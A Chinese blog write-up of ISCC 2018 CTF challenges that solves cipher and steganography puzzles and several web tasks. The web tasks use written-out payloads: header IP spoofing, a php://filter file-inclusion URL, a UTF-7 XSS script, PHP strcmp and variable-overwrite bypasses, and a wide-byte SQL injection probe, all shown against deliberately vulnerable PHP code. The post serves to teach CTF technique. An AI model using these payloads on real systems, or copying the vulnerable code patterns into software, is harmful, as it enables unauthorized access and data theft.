iscc ctf题小记

ISCC CTF小计(更新中)

上周经班上同学说起,才知道最近有个信息安全竞赛,题目比较基础,就尝试着做了一下,做的不多

MISC

What is that?

下载附件,得到一张图片
image

看到手指指向的地方想到flag可能就在图片下面,根据经验,应该是修改图片宽度隐藏了flag

用winhex打开图片
这里就要了解一些png图片结构的一些知识了
推荐阅读分析PNG图像结构

找到表示图片长度宽度的十六进制码
image

00 00 02 72 是图片的宽度
00 00 01 F4 是图片的长度
明显图片长宽并不标准,我们将长度修改为00 00 02 72,保存 得到flag
image

数字密文

题目给了一串数字69742773206561737921
观察发现每一位都是在0到9之间,想到了十进制编码,百度搜了一下,看见了这篇文章实验吧的一道题
CTF—密码学入门第六题 古典密码
于是把密文改成了
&#69&#74&#27&#73&#20&#65&#61&#73&#79&#21用十进制解码发现是乱的,在想会不会是十六进制,用十六进制解码成功得到flag

秘密电报

压缩包解压得到
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA
知识就是力量不是培根说的吗?培根密码无误
image
放到在线解密网站得到flag

重重谍影

打开网页
image
题目提示:刹那便是永恒。南无阿弥陀佛。想到了土豆文
再看看页面上的应该是base64码

多次解密得到一串不是base64的值(注意解码中的坑每次解码都需要将末尾的%3D,也就是“=”的url编码去掉),得到一串密文

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5r
KClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkp
b6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc

刚开始不知道是什么,问了一下做出来的同学,才知道是AES加密,把%0A换成换行符,找一个在线AES解码的平台得到密文:

答案就是后面这句但已加密 缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

是土豆文没错
与佛论禅
image

有趣的ISCC

又是一张图片
image
试了很多办法都没用,后面用winhex打开,发现文件尾部有一串Unicode编码

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

Unicode解码得到

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

再转一次得到flag:flag{iscc is fun}

凯撒十三世

提示:凯撒十三世在学会使用键盘后
密文:ebdgc697g95w3
猜测是凯撒密码加键盘密码
打开在线凯撒密码网站 移位数应该是13
刚开始以为是解密,解了半天什么都没有,结果是加密。。。加密得到 roqtp697t95j3
键盘密码:
我们注意到大键盘区所有的字母上面都有其对应的数字,这个位置几乎在所有的键盘都是相同的。所以我们可以利用这一点应用单表替换的方法进行加密:
1 2 3 4 5 6 7 8 9 0
Q W E R T Y U I O P
A S D F G H J K L
Z X C V B N M

我们根据上表可以得出,Q是1下面的第一个,A是1下面的第二个……以此类推,每一个字母都会有其对应的数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
A 12
B 53
C 33
D 32
E 31
F 42
G 52
H 62
I 81
J 72
K 82
L 92
M 73
N 63
O 91
P 01
Q 11
R 41
S 22
T 51
U 71
V 43
W 21
X 23
Y 61
Z 13

第一个数字代表横向(X坐标)的位置,第二个数字代表纵向(Y坐标)的位置。
得到flag:yougotme

web

比较数字大小

进去发现有一个输入框,随便输入一点
image
那输入数字吧 ,发现只能输入3位,提交
image
查看html代码发现

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
</head>
<body>
<form action="" method="post">
<input type="text" maxlength="3" name="v"/>
<input type="submit" value="提交"/>
</form>
</body>
</html>

数字太小了!

输入框限制了数字位数,修改

1
<input type="text" maxlength="10" name="v"/>

再输入一个较大的数,得到flag:key is 768HKyu678567&*&K

web01

此道为代码审计题

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

题目要求是get传参password,这里涉及到strcmp函数的漏洞

1
int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
该漏洞是用于php5.3之前的版本
该函数要求是上传字符串进行比较,当我们传入非法参数时,如数组,在php5.3之前函数会报错,return 0!刚好和两个字符串相等返回0的结果一样
于是我们在url中输入?password[]=1,利用数组是非法参数报错,得到flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}

本地的诱惑

提示:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?
只允许本地访问,那我们就用bp抓包伪造ip
推荐文章网络安全之IP伪造
添加X-Forwarded-For请求头,修改IP地址为127.0.0.1
image
得到flag
后面才发现。。。直接F12,flag就在html代码中。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta charset="utf-8" />
</head>
<body>

<?php
//print_r($_SERVER);
$arr=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if($arr[0]=='127.0.0.1'){
//key
echo "key is ISCC{^&*(UIHKJjkadshf}";
}else{
echo "必须从本地访问!";
}
?> </body>
</html>
你能跨过去吗?

提示:xss
题目:http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413
发现和实验吧的xss题有点类似
对网址进行转义,发现其中有段base64编码

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-&_=1302746925413 

看到类似“+/v+ +ADwAcwBjAHIAaQBwA”想到了UTF-7编码
xssee 在线解码得到

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=+/v+ <script>alert("key:/%nsfocusXSStest%/")</script>-&_=1302746925413 

将/%nsfocusXSStest%/输入提交框,弹出弹框:恭喜你!flag{Hell0World}

一切都是套路

提示:好像有个文件忘记删了&flag is here
应该是备份文件泄露
找到文件泄露地址
http://118.190.152.202:8009/index.php.txt
得到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

又是代码审计
看到$$想到了变量覆盖漏洞,这类漏洞也常常和foreach联系在一起
post:flag=flag
get:?_200=flag
post传入变量使得flag变量的值为flag,绕过比较
get传参将flag变量的值赋值给_200,最后打印出来
得到flag:flag ISCC{taolu2333333….}

你能绕过吗?

刚开始以为是SQL注入,一直再瞎搞,后面经过朋友提示知道里是文件包含,PHP伪协议

推荐文章PHP伪协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(_
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(_
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
利用PHP://filter过滤器读取index.php的代码,刚开始测试点是id,发现应该不是这里,再测试了f:
http://118.190.152.202:8008/index.php?f=php://filter/read=convert.base64-encode/resource=index.php&id=4
image
报错。。。
后面发现过滤了php字符
修改:http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=4 (至于为什么要将index后面的.php删掉不太清楚)
后面看了代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title>导航页</title>
<meta charset="UTF-8">
</head>
<body>
<a href='index.php?f=articles&id=1'>ID: 1</href>
</br>
<a href='index.php?f=articles&id=2'>ID: 2</href>
</br>
<a href='index.php?f=articles&id=3'>ID: 3</href>
</br>
<a href='index.php?f=articles&id=4'>ID: 4</href>
</br>
</body>
</html>

<?php
#ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}

?>

代码中过滤了php字符,并且会在f参数后加上.php,明白了

web2

提示:错误!你的IP不是本机ip!
应该还是IP伪造
试了最常见的几个伪造ip响应头文件都不行 X-Forwarded-For
X-Client-IP
X-Real-IP
CDN-Src-IP …
后面试了一下Client-IP ,成了
image

Please give me username and password!

页面显示:Please give me username or password!
那我们就get传参username和password先试一下
http://118.190.152.202:8017/?username=1&password=1000
查看代码发现

1
Username is not right<!--index.php.txt--><p>Password too long</p>

打开index.php.txt发现PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>
1
2
3
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";

这一段要求flag变量值要与username参数值相同,我们可以利用strcasecmp函数传入非法参数报错返回0绕过

1
2
3
4
5
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';

这一段是要求password的长度要小于4,但是值却要大于999,这里我们可以用科学计数法绕过
构造http://118.190.152.202:8017/index.php/?username[]=1&password=9E9
得到flag:flag{ISCC2018_Very_GOOD!}

php是世界上最好的语言

又是一道代码审计的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>

要求的是post传入username和password两个参数,password参数的md5值要等于0
推荐文章PHP处理0e开头md5哈希字符串缺陷/bug
输入框输入username=1,password=QNKCDZO得到

1
2
3
4
5
6
7
8
9
NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
str_replace("{","",$a);
str_replace("}","",$a);
@eval("var_dump($$a);");
show_source(__FILE__);

?>

这里又是$$变量覆盖漏洞使用全局数组变量GLOBALS打印出所有变量值
http://118.190.152.202:8005/no_md5.php?a=GLOBALS
image

SQL注入的艺术

找到个人信息处应该是宽字节注入,http://118.190.152.202:8015/index.php?id=1%27%df
利用SQLmap得到flag

文章目录
  1. 1. ISCC CTF小计(更新中)
    1. 1.1. MISC
      1. 1.1.1. What is that?
      2. 1.1.2. 数字密文
      3. 1.1.3. 秘密电报
      4. 1.1.4. 重重谍影
      5. 1.1.5. 有趣的ISCC
      6. 1.1.6. 凯撒十三世
    2. 1.2. web
      1. 1.2.1. 比较数字大小
      2. 1.2.2. web01
      3. 1.2.3. 本地的诱惑
      4. 1.2.4. 你能跨过去吗?
      5. 1.2.5. 一切都是套路
      6. 1.2.6. 你能绕过吗?
      7. 1.2.7. web2
      8. 1.2.8. Please give me username and password!
      9. 1.2.9. php是世界上最好的语言
      10. 1.2.10. SQL注入的艺术
,